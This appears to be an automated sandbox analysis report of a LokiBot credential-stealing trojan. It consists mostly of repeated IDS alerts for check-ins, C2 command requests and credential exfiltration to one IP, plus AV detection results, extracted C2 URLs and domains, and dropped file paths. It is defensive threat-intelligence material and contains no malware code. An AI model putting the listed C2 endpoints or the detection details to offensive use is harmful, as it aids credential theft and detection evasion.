ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749963802025381 01/05/23-08:53:30.141323
SID:	2025381
Source Port:	49963
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749852802021641 01/05/23-08:52:56.705137
SID:	2021641
Source Port:	49852
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749763802021641 01/05/23-08:52:29.176849
SID:	2021641
Source Port:	49763
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749941802021641 01/05/23-08:53:22.165125
SID:	2021641
Source Port:	49941
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750008802021641 01/05/23-08:53:42.094852
SID:	2021641
Source Port:	50008
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749785802025381 01/05/23-08:52:36.951784
SID:	2025381
Source Port:	49785
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749874802025381 01/05/23-08:53:02.624496
SID:	2025381
Source Port:	49874
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749898802024313 01/05/23-08:53:09.845609
SID:	2024313
Source Port:	49898
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749987802024318 01/05/23-08:53:36.549688
SID:	2024318
Source Port:	49987
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380499242025483 01/05/23-08:53:17.670335
SID:	2025483
Source Port:	80
Destination Port:	49924
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749898802024318 01/05/23-08:53:09.845609
SID:	2024318
Source Port:	49898
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749987802024313 01/05/23-08:53:36.549688
SID:	2024313
Source Port:	49987
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749716802025381 01/05/23-08:52:14.357533
SID:	2025381
Source Port:	49716
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749981802024313 01/05/23-08:53:34.961120
SID:	2024313
Source Port:	49981
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749710802025381 01/05/23-08:52:11.662757
SID:	2025381
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749805802025381 01/05/23-08:52:42.467353
SID:	2025381
Source Port:	49805
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749892802024313 01/05/23-08:53:07.470439
SID:	2024313
Source Port:	49892
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749739802025381 01/05/23-08:52:22.339123
SID:	2025381
Source Port:	49739
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380497392025483 01/05/23-08:52:22.422279
SID:	2025483
Source Port:	80
Destination Port:	49739
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749828802025381 01/05/23-08:52:48.735651
SID:	2025381
Source Port:	49828
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380498752025483 01/05/23-08:53:02.993352
SID:	2025483
Source Port:	80
Destination Port:	49875
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380500792025483 01/05/23-08:54:02.671781
SID:	2025483
Source Port:	80
Destination Port:	50079
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749981802024318 01/05/23-08:53:34.961120
SID:	2024318
Source Port:	49981
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749892802024318 01/05/23-08:53:07.470439
SID:	2024318
Source Port:	49892
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749915802024313 01/05/23-08:53:15.112176
SID:	2024313
Source Port:	49915
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749917802025381 01/05/23-08:53:15.635846
SID:	2025381
Source Port:	49917
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750025802024318 01/05/23-08:53:48.086655
SID:	2024318
Source Port:	50025
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750061802825766 01/05/23-08:53:57.824423
SID:	2825766
Source Port:	50061
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750067802825766 01/05/23-08:53:59.373237
SID:	2825766
Source Port:	50067
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750054802021641 01/05/23-08:53:55.890469
SID:	2021641
Source Port:	50054
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749737802024313 01/05/23-08:52:21.818381
SID:	2024313
Source Port:	49737
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749826802024313 01/05/23-08:52:48.184567
SID:	2024313
Source Port:	49826
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749714802024318 01/05/23-08:52:13.349412
SID:	2024318
Source Port:	49714
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749803802024313 01/05/23-08:52:41.905218
SID:	2024313
Source Port:	49803
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749986802025381 01/05/23-08:53:36.285692
SID:	2025381
Source Port:	49986
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749740802021641 01/05/23-08:52:22.636691
SID:	2021641
Source Port:	49740
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749737802024318 01/05/23-08:52:21.818381
SID:	2024318
Source Port:	49737
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749826802024318 01/05/23-08:52:48.184567
SID:	2024318
Source Port:	49826
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749989802025381 01/05/23-08:53:37.099082
SID:	2025381
Source Port:	49989
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750025802024313 01/05/23-08:53:48.086655
SID:	2024313
Source Port:	50025
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750022802024313 01/05/23-08:53:46.665385
SID:	2024313
Source Port:	50022
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749897802025381 01/05/23-08:53:09.055046
SID:	2025381
Source Port:	49897
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749915802024318 01/05/23-08:53:15.112176
SID:	2024318
Source Port:	49915
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749780802024313 01/05/23-08:52:35.511333
SID:	2024313
Source Port:	49780
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380498812025483 01/05/23-08:53:04.594550
SID:	2025483
Source Port:	80
Destination Port:	49881
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380499182025483 01/05/23-08:53:16.001398
SID:	2025483
Source Port:	80
Destination Port:	49918
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749780802024318 01/05/23-08:52:35.511333
SID:	2024318
Source Port:	49780
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380498972025483 01/05/23-08:53:09.137400
SID:	2025483
Source Port:	80
Destination Port:	49897
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749713802025381 01/05/23-08:52:12.826844
SID:	2025381
Source Port:	49713
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380499022025483 01/05/23-08:53:11.691862
SID:	2025483
Source Port:	80
Destination Port:	49902
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749984802024313 01/05/23-08:53:35.743967
SID:	2024313
Source Port:	49984
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749842802825766 01/05/23-08:52:54.011182
SID:	2825766
Source Port:	49842
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749984802024318 01/05/23-08:53:35.743967
SID:	2024318
Source Port:	49984
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749931802825766 01/05/23-08:53:19.484274
SID:	2825766
Source Port:	49931
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749802802025381 01/05/23-08:52:41.641382
SID:	2025381
Source Port:	49802
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749753802825766 01/05/23-08:52:26.326305
SID:	2825766
Source Port:	49753
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750022802024318 01/05/23-08:53:46.665385
SID:	2024318
Source Port:	50022
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749947802021641 01/05/23-08:53:23.814636
SID:	2021641
Source Port:	49947
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380500632025483 01/05/23-08:53:58.415827
SID:	2025483
Source Port:	80
Destination Port:	50063
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750024802025381 01/05/23-08:53:47.812882
SID:	2025381
Source Port:	50024
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749858802021641 01/05/23-08:52:58.341182
SID:	2021641
Source Port:	49858
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750051802021641 01/05/23-08:53:55.100340
SID:	2021641
Source Port:	50051
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749829802024318 01/05/23-08:52:49.001962
SID:	2024318
Source Port:	49829
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749918802024318 01/05/23-08:53:15.920283
SID:	2024318
Source Port:	49918
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749769802021641 01/05/23-08:52:30.825016
SID:	2021641
Source Port:	49769
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749829802024313 01/05/23-08:52:49.001962
SID:	2024313
Source Port:	49829
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750064802825766 01/05/23-08:53:58.597698
SID:	2825766
Source Port:	50064
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749918802024313 01/05/23-08:53:15.920283
SID:	2024313
Source Port:	49918
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: zlP981oop5.exe

Virustotal: Detection: 30%

Perma Link

Antivirus detection for URL or domain

Source: http://171.22.30.147/kelly/five/fre.php

Avira URL Cloud: Label: malware

Multi AV Scanner detection for domain / URL

Source: http://171.22.30.147/kelly/five/fre.php

Virustotal: Detection: 14%

Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Virustotal: Detection: 29%			Perma Link
Source: C:\Users\user\AppData\Roaming\C79A3B\B52B3F.exe (copy)	Virustotal: Detection: 29%			Perma Link

Source: 00000003.00000000.255568644.0000000000400000.00000040.80000000.00040000.00000000.sdmp

Malware Configuration Extractor: Lokibot {"C2 list": ["http://kbfvzoboss.bid/alien/fre.php", "http://alphastand.trade/alien/fre.php", "http://alphastand.win/alien/fre.php", "http://alphastand.top/alien/fre.php"]}

Source: zlP981oop5.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: zlP981oop5.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\xampp\htdocs\b61e5acae9c94fab8e78397ab543d5d6\Loader\Release\Loader.pdb source: zlP981oop5.exe, 00000000.00000002.266742028.0000000002850000.00000004.00000800.00020000.00000000.sdmp, zlP981oop5.exe, 00000000.00000002.266467890.000000000040C000.00000004.00000001.01000000.00000003.sdmp, gblqfiy.exe, 00000001.00000000.247488143.000000000040F000.00000002.00000001.01000000.00000004.sdmp, gblqfiy.exe, 00000001.00000002.259531027.000000000040F000.00000002.00000001.01000000.00000004.sdmp, gblqfiy.exe, 00000003.00000000.250738909.000000000040F000.00000002.00000001.01000000.00000004.sdmp, nsk2BAD.tmp.0.dr, gblqfiy.exe.0.dr
Source:	Binary string: wntdll.pdbUGP source: gblqfiy.exe, 00000001.00000003.254805333.000000001A190000.00000004.00001000.00020000.00000000.sdmp, gblqfiy.exe, 00000001.00000003.255029911.000000001A190000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: gblqfiy.exe, 00000001.00000003.254805333.000000001A190000.00000004.00001000.00020000.00000000.sdmp, gblqfiy.exe, 00000001.00000003.255029911.000000001A190000.00000004.00001000.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\zlP981oop5.exe	Code function: 0_2_00405D74 CloseHandle,GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,
Source: C:\Users\user\Desktop\zlP981oop5.exe	Code function: 0_2_0040699E FindFirstFileW,FindClose,
Source: C:\Users\user\Desktop\zlP981oop5.exe	Code function: 0_2_0040290B FindFirstFileW,
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Code function: 1_2_0040756A _free,_free,FindFirstFileExW,
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Code function: 1_2_0040761E FindFirstFileExW,FindNextFileW,FindClose,
Source: C:\Users\user\AppData\Local\Temp\gblqfiy.exe	Code function: 3_2_00403D74 FindFirstFileW,FindNextFileW,FindFirstFileW,FindNextFileW,

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2024312 ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M1 192.168.2.3:49699 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49699 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49699 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2024317 ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M2 192.168.2.3:49699 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49699 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2024312 ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M1 192.168.2.3:49700 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49700 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49700 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2024317 ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M2 192.168.2.3:49700 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49700 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49701 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49701 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49701 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49701 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49701 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 171.22.30.147:80 -> 192.168.2.3:49701
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49702 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49702 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49702 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49702 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49702 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 171.22.30.147:80 -> 192.168.2.3:49702
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49703 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49703 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49703 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49703 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49703 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 171.22.30.147:80 -> 192.168.2.3:49703
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49704 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49704 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49704 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49704 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49704 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 171.22.30.147:80 -> 192.168.2.3:49704
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49705 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49705 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49705 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49705 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49705 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 171.22.30.147:80 -> 192.168.2.3:49705
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.3:49706 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.3:49706 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.3:49706 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2024318 ET TROJAN LokiBot Request for C2 Commands Detected M2 192.168.2.3:49706 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2825766 ETPRO TROJAN LokiBot Checkin M2 192.168.2.3:49706 -> 171.22.30.147:80
Source: Traffic	Snort IDS: 2025483 ET TROJAN LokiBot Fake 404 Response 171.22.30.147:80 -> 192.168.2.3:49706
